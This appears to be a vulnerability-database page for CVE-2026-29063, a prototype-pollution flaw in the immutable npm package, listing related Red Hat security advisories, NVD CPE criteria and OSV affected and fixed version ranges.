CVE-2026-25679 · CVE-2026-29063 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32282 · CVE-2026-33186 · CVE-2026-33815 · CVE-2026-33816 · CVE-2026-34986 · CVE-2026-35469

RHSA-2026:11217: Red Hat Security Advisory: RHACS 4.8.11 security and bug fix update

CVE-2026-25679 · CVE-2026-29063 · CVE-2026-32286 · CVE-2026-33186 · CVE-2026-33815 · CVE-2026-33816 · CVE-2026-34986 · CVE-2026-35469

RHSA-2026:13542: Red Hat Security Advisory: multicluster engine for Kubernetes v2.10.2 security update

CVE-2025-13465 · CVE-2025-58183 · CVE-2025-61726 · CVE-2025-61729 · CVE-2025-68121 · CVE-2026-4740 · CVE-2026-22029 · CVE-2026-25639 · CVE-2026-29063 · CVE-2026-40175

RHSA-2026:19712: Red Hat Security Advisory: RHOAI 3.3.3 - Red Hat OpenShift AI

CVE-2025-6242 · CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-59057 · CVE-2025-61726 · CVE-2025-61729 · CVE-2025-62164 · CVE-2025-62718 · CVE-2025-64756 · CVE-2025-66031 · CVE-2025-66418 · CVE-2025-66448 · CVE-2025-66471 · CVE-2025-69223 · CVE-2025-69873 · CVE-2026-0846 · CVE-2026-0847 · CVE-2026-4800 · CVE-2026-21441 · CVE-2026-21884 · CVE-2026-22029 · CVE-2026-22778 · CVE-2026-23490 · CVE-2026-23745 · CVE-2026-24049 · CVE-2026-24486 · CVE-2026-24779 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-27893 · CVE-2026-28684 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-30922 · CVE-2026-31812 · CVE-2026-32597 · CVE-2026-32829 · CVE-2026-32981 · CVE-2026-33186 · CVE-2026-33231 · CVE-2026-33236 · CVE-2026-34986 · CVE-2026-40175 · CVE-2026-40192 · CVE-2026-40895

RHSA-2026:22465: Red Hat Security Advisory: Red Hat Quay 3.17.2

CVE-2025-62718 · CVE-2026-4427 · CVE-2026-27459 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32282 · CVE-2026-32286 · CVE-2026-32589 · CVE-2026-32590 · CVE-2026-33186 · CVE-2026-33747 · CVE-2026-33894 · CVE-2026-34986 · CVE-2026-39892 · CVE-2026-40192 · CVE-2026-40895 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496

RHSA-2026:40984: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.20.15 security, enhancement & bug fix update

CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-22029 · CVE-2026-25128 · CVE-2026-25896 · CVE-2026-26278 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-27942 · CVE-2026-29063 · CVE-2026-33036 · CVE-2026-33186 · CVE-2026-33815 · CVE-2026-33816 · CVE-2026-34986 · CVE-2026-48779

RHSA-2026:8484: Red Hat Security Advisory: Kiali 2.4.15 for Red Hat OpenShift Service Mesh 3.0

CVE-2025-62718 · CVE-2026-4800 · CVE-2026-25679 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-33186 · CVE-2026-40175

RHSA-2026:83622: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.17.28 security, enhancement & bug fix update

CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-58183 · CVE-2025-61726 · CVE-2025-61729 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-6321 · CVE-2026-22029 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-29063 · CVE-2026-33186

RHSA-2026:19409: Red Hat Security Advisory: MTV RHEL9 Images

CVE-2026-4598 · CVE-2026-4599 · CVE-2026-4600 · CVE-2026-4601 · CVE-2026-4602 · CVE-2026-4800 · CVE-2026-4926 · CVE-2026-29063

RHSA-2026:13853: Red Hat Security Advisory: multicluster engine for Kubernetes v2.11.1 security update

CVE-2026-4740 · CVE-2026-29063

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-29063

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-1321 · CWE-915

Original publisher date fields

published: 2026-03-06T19:16:21.557

lastModified: 2026-10-30T13:16:36.640

40 source CPE criteria · context only

cpe:2.3:a:immutable-js:immutable:*:*:*:*:*:node.js:*:*
cpe:2.3:a:redhat:3scale_api_management_platform:2.0:*:*:*:*:*:*:*
cpe:2.3:a:redhat:advanced_cluster_management_for_kubernetes:*:*:*:*:*:*:*:*
cpe:2.3:a:redhat:advanced_cluster_security:*:*:*:*:*:*:*:*
cpe:2.3:a:redhat:advanced_cluster_security:*:*:*:*:*:kubernetes:*:*
cpe:2.3:a:redhat:ansible_automation_platform:2.0:*:*:*:*:*:*:*
cpe:2.3:a:redhat:build_of_apicurio_registry:2.0:*:*:*:*:*:*:*
cpe:2.3:a:redhat:connectivity_link:1.0:*:*:*:*:*:*:*
cpe:2.3:a:redhat:developer_hub:*:*:*:*:*:*:*:*
cpe:2.3:a:redhat:discovery:2.0:*:*:*:*:*:*:*
cpe:2.3:a:redhat:edge_manager:*:*:*:*:*:*:*:*
cpe:2.3:a:redhat:logging_subsystem_for_red_hat_openshift:-:*:*:*:*:*:*:*
cpe:2.3:a:redhat:migration_toolkit:1.8:*:*:*:*:*:*:*
cpe:2.3:a:redhat:migration_toolkit_for_virtualization:2.9.0:*:*:*:*:*:*:*
cpe:2.3:a:redhat:migration_toolkit_for_virtualization:2.10.0:*:*:*:*:*:*:*
cpe:2.3:a:redhat:multicluster_engine_for_kubernetes:*:*:*:*:*:*:*:*
cpe:2.3:a:redhat:network_observability_operator:1.11.0:*:*:*:*:*:*:*
cpe:2.3:a:redhat:network_observability_operator:1.12.3:*:*:*:*:*:*:*
cpe:2.3:a:redhat:openshift_cluster_observability_operator:1.5.3:*:*:*:*:*:*:*
cpe:2.3:a:redhat:openshift_container_platform:*:*:*:*:*:*:*:*
cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:*
cpe:2.3:a:redhat:openshift_data_foundation:*:*:*:*:*:*:*:*
cpe:2.3:a:redhat:openshift_data_foundation:4.17:*:*:*:*:*:*:*
cpe:2.3:a:redhat:openshift_gitops:-:*:*:*:*:*:*:*
cpe:2.3:a:redhat:openshift_lightspeed:-:*:*:*:*:*:*:*
cpe:2.3:a:redhat:openshift_pipelines:*:*:*:*:*:*:*:*
cpe:2.3:a:redhat:openshift_service_mesh:2.6:*:*:*:*:*:*:*
cpe:2.3:a:redhat:openshift_service_mesh:3.0:*:*:*:*:*:*:*
cpe:2.3:a:redhat:openshift_service_mesh:3.1:*:*:*:*:*:*:*
cpe:2.3:a:redhat:openshift_service_mesh:3.2:*:*:*:*:*:*:*
cpe:2.3:a:redhat:openshift_service_mesh:3.3:*:*:*:*:*:*:*
cpe:2.3:a:redhat:openshift_virtualization:4:*:*:*:*:*:*:*
cpe:2.3:a:redhat:quay:*:*:*:*:*:*:*:*
cpe:2.3:a:redhat:quay:3.18.0:*:*:*:*:*:*:*
cpe:2.3:a:redhat:satellite:6.0:*:*:*:*:*:*:*
cpe:2.3:a:redhat:satellite:6.18:*:*:*:*:*:*:*
cpe:2.3:a:redhat:self-service_automation_portal:2.0:*:*:*:*:*:*:*
cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*
cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*
cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-wf6x-7x77-mvgw

Published

immutable

npm

SEMVER · introduced 4.0.0-rc.1 → fixed 4.3.8

immutable

npm

SEMVER · introduced 5.0.0 → fixed 5.1.5

immutable

npm

SEMVER · introduced 0 → fixed 3.8.3

Original source record · Cite this exact observation · Complete original publisher JSON